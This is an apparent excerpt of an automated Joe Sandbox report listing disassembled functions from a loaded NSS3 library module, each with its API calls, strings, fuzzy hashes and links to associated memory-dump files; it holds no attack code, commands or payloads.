Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: db7383afa90f5ae6879996406acb0028c3a2e3036f8d853dab96c349d804bdc3
Instruction ID: 0770900bbcfdd9a89fd7644783f1fde0d1e6860f1b916f95a91d1c4e7004ae52
Opcode Fuzzy Hash: db7383afa90f5ae6879996406acb0028c3a2e3036f8d853dab96c349d804bdc3
Instruction Fuzzy Hash: D8311471F0422997C710CF9ECC809BABBE1AF94385B5905AAE444B7F85D670D941C7A1

Function 6C5B6C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C5B6D36

Strings

%s at line %d of [%.10s], xrefs: 6C5B6D2F
database corruption, xrefs: 6C5B6D2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5B6D20

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 151f903c5a17303dc3f2d430db3957fbe4334514f1d3d7a508b1058a2da45781
Instruction ID: b8c6cb7b0d450a6f42ea35460f2d2f854c3c000e5a8c090963a9079c55b0ccf9
Opcode Fuzzy Hash: 151f903c5a17303dc3f2d430db3957fbe4334514f1d3d7a508b1058a2da45781
Instruction Fuzzy Hash: 4B21F4306043059FC718CE1ACC61B5ABBF6AF84308F54492DD849ABF51EB71F949C791

Function 6C692FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+il,6C6932C2,<+il,00000000,00000000,?), ref: 6C692FDA

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C69300B

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C69302A

Part of subcall function 6C680840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6808B4

Part of subcall function 6C66C3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6C66C45D
Part of subcall function 6C66C3D0: TlsGetValue.KERNEL32 ref: 6C66C494
Part of subcall function 6C66C3D0: EnterCriticalSection.KERNEL32(?), ref: 6C66C4A9
Part of subcall function 6C66C3D0: PR_Unlock.NSS3(?), ref: 6C66C4F4

Strings

<+il, xrefs: 6C692FD0

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+il
API String ID: 2538134263-1603980441
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: 3c893c8700e0719eb87f462b18106b6dbb41e15125ffab322ce6724688f92db0
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: 891127B6B011046BDB008E65DC00A9B77D99B8136CF184134E91CD7780E732ED15C7A5

Function 6C6ECC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C6ECD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C6ECC7B), ref: 6C6ECD7A
Part of subcall function 6C6ECD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C6ECD8E
Part of subcall function 6C6ECD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C6ECDA5
Part of subcall function 6C6ECD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C6ECDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C6ECCB5
memcpy.VCRUNTIME140(6C7814F4,6C7802AC,00000090), ref: 6C6ECCD3
memcpy.VCRUNTIME140(6C781588,6C7802AC,00000090), ref: 6C6ECD2B

Part of subcall function 6C609AC0: socket.WSOCK32(?,00000017,6C6099BE), ref: 6C609AE6
Part of subcall function 6C609AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C6099BE), ref: 6C609AFC

Part of subcall function 6C610590: closesocket.WSOCK32(6C609A8F,?,?,6C609A8F,00000000), ref: 6C610597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C6ECCB0

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: f9b0a9d6c40ae6343221d14f66558579b2f5e3a90c93ce7d0b907d5a189da352
Instruction ID: eb1e2a592e65657f7e253ee89a8200fdf7517c3b4ab92da119108e6b79f5077e
Opcode Fuzzy Hash: f9b0a9d6c40ae6343221d14f66558579b2f5e3a90c93ce7d0b907d5a189da352
Instruction Fuzzy Hash: 9E1142F1B072506FDB109F699A0B7423AA89347718F242039E62ACBBC2E771C40487DA

Function 6C5B7F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5B81DF
LeaveCriticalSection.KERNEL32(?), ref: 6C5B8239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5B8255
sqlite3_free.NSS3(00000000), ref: 6C5B8260

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 125c4260214a23db1c2cb748c7796296f7d5e5b05bb075700caca12f2fa3765b
Instruction ID: b693192596e2c877f99c0c5c77f6b0783a6e6b8f9b976ae1b541fdca50d14261
Opcode Fuzzy Hash: 125c4260214a23db1c2cb748c7796296f7d5e5b05bb075700caca12f2fa3765b
Instruction Fuzzy Hash: 56918B71A0261DCFEB05DFA0DC6C7ADBBB1BB06304F24013AD51AAB650D739A945CB92

Function 6C691D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C691D8F

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C691DA6

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C691E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C691ED0

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: 2fa3667c6bf8dc98dcb0aca68bc4146f42b30a2e6ce7ff371de06ae06168ecb8
Instruction ID: d7bd0de185a5ef3a354047eb3c6bd665f22f8f1b128d9832c916a80f5829c77f
Opcode Fuzzy Hash: 2fa3667c6bf8dc98dcb0aca68bc4146f42b30a2e6ce7ff371de06ae06168ecb8
Instruction Fuzzy Hash: EE516B75A0130ACFDB10CF98C884BAEB7BAFF49318F244129D8199B751D771E946CB94

Function 6C6E4FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C5C85D2,00000000,?,?), ref: 6C6E4FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6E500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6E50C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6E50D6

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 97b0fda37ec85c29fbb94f6caed47dcbc7c06801c00c60fe582924a9832843f7
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 6C4181B2A012158FCB18CF18DCD179AB7E1BF4831871D466DD84ACBB02E775E891CB95

Function 6C60FFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6C60FDFE), ref: 6C60FFAD

Part of subcall function 6C5ACA30: EnterCriticalSection.KERNEL32(?,?,?,6C60F9C9,?,6C60F4DA,6C60F9C9,?,?,6C5D369A), ref: 6C5ACA7A
Part of subcall function 6C5ACA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5ACB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6C60FDFE), ref: 6C60FFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6C60FDFE), ref: 6C61001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6C60FDFE), ref: 6C61006F

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: 91a558a6d00de289d26debdce20ad0d2d8e19a35e5b2362672060048df809fd5
Instruction ID: cbb78d23408fa0c754927aa7630a877eacd95ffd3324c02ead723a4b9b19a56c
Opcode Fuzzy Hash: 91a558a6d00de289d26debdce20ad0d2d8e19a35e5b2362672060048df809fd5
Instruction Fuzzy Hash: E541F171F052199FDF08CFA8D889AAE7775FF46316F240039D90693B00DB39A911CBA5

Function 6C6F7DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6F7E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6F7EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6F7EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C6F7ED8

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: 7e0f803b1da2bfc25a7cda7c04b5ba20223f3e8024d46359903583cf081ca9c7
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: B331A4B2A001158FDB04CF08DC9499ABBA3BF8831871B816AC8585B711EB71EC46CBD1

Function 6C6ADF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6C633090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C64AE42), ref: 6C6330AA
Part of subcall function 6C633090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6330C7
Part of subcall function 6C633090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6330E5
Part of subcall function 6C633090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C633116
Part of subcall function 6C633090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C63312B
Part of subcall function 6C633090: PK11_DestroyObject.NSS3(?,?), ref: 6C633154
Part of subcall function 6C633090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C63317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C6ADBBD), ref: 6C6ADFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6ADFEE

Part of subcall function 6C6486D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C648716
Part of subcall function 6C6486D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C648727
Part of subcall function 6C6486D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C64873B
Part of subcall function 6C6486D0: PR_Unlock.NSS3(?), ref: 6C64876F
Part of subcall function 6C6486D0: PR_SetError.NSS3(00000000,00000000), ref: 6C648787

Part of subcall function 6C66F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C66F854
Part of subcall function 6C66F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C66F868
Part of subcall function 6C66F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C66F882
Part of subcall function 6C66F820: free.MOZGLUE(04C483FF,?,?), ref: 6C66F889
Part of subcall function 6C66F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C66F8A4
Part of subcall function 6C66F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C66F8AB
Part of subcall function 6C66F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C66F8C9
Part of subcall function 6C66F820: free.MOZGLUE(280F10EC,?,?), ref: 6C66F8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6C6ADBBD), ref: 6C6ADFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6C6ADBBD), ref: 6C6AE007

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: da47d95d8c99fc88bfb88b301ad63d4dd35a34fc36bcad85d23c9f825df97d4e
Instruction ID: c1ea7469d19cfce9cdb475e1fe3342bd912310b53fab0cab60c1062ee851ef1c
Opcode Fuzzy Hash: da47d95d8c99fc88bfb88b301ad63d4dd35a34fc36bcad85d23c9f825df97d4e
Instruction Fuzzy Hash: 6331E7B1A0420157D711AABAAC84A9B73F89F5A30CF040135ED09D7B53FB35E919C2EE

Function 6C626C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C626C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C626CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C626CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C748FE0), ref: 6C626CFE

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 46db0562baba952e72690824d0d20e4fd1dfbf26a11f166cfc10a9e20e518577
Instruction ID: 5d2517513bd7b99b7f68007c832e725382ee43d8ebb04ab833b61d4ccd766f9f
Opcode Fuzzy Hash: 46db0562baba952e72690824d0d20e4fd1dfbf26a11f166cfc10a9e20e518577
Instruction Fuzzy Hash: 12318EB1A0121A9FEB08DF65C891ABFBBF9EF85348B10442DD905E7700EB35D915CBA4

Function 6C734F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6C734F5D
free.MOZGLUE(?), ref: 6C734F74
free.MOZGLUE(?), ref: 6C734F82
GetLastError.KERNEL32 ref: 6C734F90

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: cd91eda56c74701ad896b44e1c386e772d3e9a0f7ba4bd47d3cb4dd4c9f0df76
Instruction ID: 4dea6c2e3bd624abb9d18aefbcb263817993de5adcda0f64afccff2adef9907f
Opcode Fuzzy Hash: cd91eda56c74701ad896b44e1c386e772d3e9a0f7ba4bd47d3cb4dd4c9f0df76
Instruction Fuzzy Hash: 85314B75A0022A4BEF01CB69DD45BDF77B8FF45348F0C0235EC19A7682D735D90486A1

Function 6C67DDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6C67DDB1,?,00000000), ref: 6C67DDF4

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6C67DDB1,?,00000000), ref: 6C67DE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6C67DDB1,?,00000000), ref: 6C67DE17

Part of subcall function 6C680BE0: malloc.MOZGLUE(6C678D2D,?,00000000,?), ref: 6C680BF8
Part of subcall function 6C680BE0: TlsGetValue.KERNEL32(6C678D2D,?,00000000,?), ref: 6C680C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C67DE80

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: fd868277c390bc0580997bd726de8bbd9ff557446aef2be0c3a04c76ca602e3f
